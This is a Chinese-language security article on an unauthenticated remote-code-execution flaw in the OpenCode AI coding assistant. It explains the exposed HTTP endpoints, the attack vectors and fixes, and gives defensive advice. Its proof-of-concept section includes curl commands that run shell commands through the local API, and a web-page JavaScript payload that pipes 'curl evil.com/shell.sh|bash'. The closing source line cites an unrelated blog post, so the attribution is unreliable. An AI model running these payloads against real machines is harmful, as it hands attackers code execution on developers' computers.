2026 年 5 月,开源 AI 编程助手 OpenCode 被曝出一个严重的未授权远程代码执行漏洞(CVE-2026-22812)。该漏洞影响 v1.1.10 之前的版本,攻击者无需任何认证即可在受害者机器上执行任意代码。对于正在使用或评估 AI 编程工具的站长和开发者来说,这是一个需要立即关注的安全事件。
漏洞概述
OpenCode 是一个开源的 AI 编程助手(npm 包名:opencode-ai),类似于 Claude Code、Cursor 等工具。安全研究人员发现,在 v1.1.10 之前的版本中,OpenCode 会在启动时自动、静默地开启一个 HTTP 服务器(默认端口 4096+),而且没有任何认证机制。
这个服务器暴露了以下危险端点:
POST /session/:id/shell— 执行任意 Shell 命令POST /pty— 创建交互式终端会话GET /file/content— 读取任意文件
简单来说,只要 OpenCode 在运行,任何能连接到这个端口的客户端都能以当前用户的权限执行任意代码,而且用户完全看不到任何提示。
攻击向量分析
这个漏洞的攻击方式比想象中更可怕。根据安全研究人员的分析,存在以下几个攻击向量:
1. 网页攻击(v1.0.216 之前)
在 v1.0.216 之前,任何网站都可以通过 JavaScript 直接连接到本地的 OpenCode 服务器。攻击者只需在网页中嵌入一段代码,就能在访问者的机器上执行任意命令。这意味着你只要用浏览器打开了一个恶意网页,你的电脑就可能被入侵。
2. 本地进程利用(v1.1.10 之前)
即使修复了网页攻击的问题,v1.1.10 之前,本机上的任何进程都可以连接到 OpenCode 的服务器并执行命令。如果机器上运行着其他被入侵的服务,攻击者可以通过这些服务进一步利用 OpenCode。
3. CORS 策略缺陷
OpenCode 的 CORS 策略硬编码了 *.opencode.ai 为允许的来源。这意味着如果 opencode.ai 域名被攻陷,或者其子域名存在 XSS 漏洞,攻击者可以利用这个信任关系攻击所有启用了服务器的用户。
4. mDNS 局域网暴露
如果启用了 --mdns 参数,同一局域网内的任何设备都可以连接到 OpenCode 服务器,进一步扩大了攻击面。
PoC 验证代码
安全研究人员提供了概念验证代码。本地利用方式如下:
# 创建一个会话
API="http://127.0.0.1:4096"
SESSION=$(curl -s -X POST "$API/session" -H "Content-Type: application/json" -d '{}' | jq -r '.id')
# 通过会话执行任意命令
curl -s -X POST "$API/session/$SESSION/shell" -H "Content-Type: application/json" -d '{"agent":"build","command":"id > /tmp/pwned.txt"}'
在 v1.0.216 之前,网页攻击甚至更加简单:
// 恶意网页中的 JavaScript 代码
fetch('http://127.0.0.1:4096/session', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: '{}'
}).then(r => r.json()).then(s => {
fetch(`http://127.0.0.1:4096/session/${s.id}/shell`, {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({
agent: 'build',
command: 'curl evil.com/shell.sh|bash'
})
})
});
修复状态
OpenCode 团队已经发布了修复版本,但值得注意的是,这些修复都是静默发布的,没有官方安全公告:
- v1.0.216:修复了网页攻击向量(CORS 策略收紧)
- v1.1.10:默认禁用服务器
- 未修复:服务器启用时仍然无认证、无运行提示
对站长和开发者的建议
如果你正在使用 OpenCode 或任何类似的 AI 编程助手,建议采取以下措施:
- 立即更新到 v1.1.10 或更高版本
- 检查是否启用了 Web 服务器功能,如非必要请保持禁用
- 不要使用
--mdns参数,除非你完全信任局域网内的所有设备 - 定期检查本地端口,使用
netstat -tlnp或ss -tlnp查看是否有未知服务在监听 - 关注 AI 编程工具的安全动态,这类工具通常需要较高的系统权限,一旦出现漏洞影响范围很大
更深层的思考
这个事件暴露了 AI 编程工具的一个根本性安全问题:为了提供便利的本地开发体验,这些工具通常需要启动本地服务、读写文件系统、执行终端命令。但这些能力一旦暴露给未授权的访问,就会变成严重的安全隐患。
随着 AI 编程工具的普及,开发者和站长需要更加关注这类工具的安全配置。建议在选择 AI 编程助手时,优先考虑那些对安全问题有明确响应机制、定期发布安全更新、并且有清晰安全策略的项目。
来源:











Timothy Gowers Blog – A Recent Experience with ChatGPT 5.5 Pro


暂无评论内容